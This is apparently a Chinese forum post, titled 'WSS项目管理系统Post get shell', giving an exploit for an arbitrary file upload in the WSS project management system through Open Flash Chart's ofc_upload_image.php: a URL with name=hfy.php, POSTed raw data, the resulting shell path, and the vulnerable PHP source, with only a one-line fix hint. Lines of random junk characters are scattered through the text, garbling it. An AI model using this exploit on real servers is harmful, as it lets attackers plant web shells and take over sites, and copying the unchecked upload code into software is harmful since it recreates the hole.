WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
, D" X; {3 ~6 E2 Q6 ?( B' y, Y
利用：
1 \$ }2 r: k1 _9 d, E" |/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
! w5 _$ w+ B4 W& u  q- _. ~+ L9 G0 g* x保存位置http://localhost/chart/tmp-upload-images/hfy.php
" d1 u% @. V8 K7 q( B3 J

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
" |) ~8 |$ Q/ o9 f/ ~3 q9 _
<?php
: r$ k* }) C. A% D: u5 g9 V+ C
//
  M8 c9 _1 R& i4 B8 J// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

0 m4 c" l+ o- z* {) \9 I/*

* Y6 y! D% ?( c  J, N$ Tprint_r( $_GET );
) Q6 N: [9 `& B2 Z( M* B  ]print_r( $_POST );
8 ]2 o8 Z9 S) T( j# |+ Oprint_r( $_FILES );
& \) l/ ~  e# D7 Y
0 h3 X& }2 I/ b# P2 Z+ R8 Oprint_r( $GLOBALS );
" M7 b$ Q- S0 @1 Mprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

5 o3 V/ j- y- h2 U- t*/
3 y, R7 y( ?0 |7 V' v- {// default path for the image to be stored //
8 c% A4 c+ _4 A" M9 u: {6 [3 G$default_path = '../tmp-upload-images/';
) P, H( G. v! ]; D  e; Q0 X
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
( f! }, O6 E) j8 Q' ?9 }* e- Z& x8 z
// full path to the saved image including filename //
1 A+ U, |$ M+ {9 C$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
// print_r( $_POST );
( ^9 [0 j3 j; l8 ^" c! Z% g// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
0 W! t8 Y1 p, ]- X
& a4 U. k% w8 H2 u+ y8 U. t//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
( }- ?0 Y! L) \5 E% I. F9 \3 W// the raw bits into $HTTP_RAW_POST_DATA
! W: u! k" `3 O2 J) {6 Y* M$ T//
3 V7 S% [5 X, w8 j) Z$ Q
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
; t7 t! F- L9 x5 W; k
$ c- G, A% q9 T' e* Y//
// LOOK:
//
exit();
//
$ W9 [) c; k- N5 V- X// PHP5:
//

3 }2 i5 }8 }  J1 V4 e* b
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

6 p0 ]) C3 Q+ R# b$ w$ s6 Vif (!file_exists($default_path)) mkdir($default_path, 0777, true);
- v$ z0 G. f) N9 I, S" W
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

# p. w5 S$ ?1 x0 z6 U; i// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
( x8 P! M$ }1 C/ |  w/ s    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
0 D% m* S- i% |* |7 H6 y4 {3 v} else {
5 H  m, q3 c$ E) N: Z2 `2 \/ |    echo "FILE UPLOAD FAILED";
}


5 I9 e* I% e& s  a/ y?>


6 b; G3 W9 C  H$ W7 u/ V/ B



8 ~& ?( J8 T7 U; `$ ]/ ]; S/ H4 I修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
$ ]" I" {/ c* @, P( A; @( i


6 ^1 s# x5 ^7 Q, v0 r# K
8 z% |9 j' E- Z/ W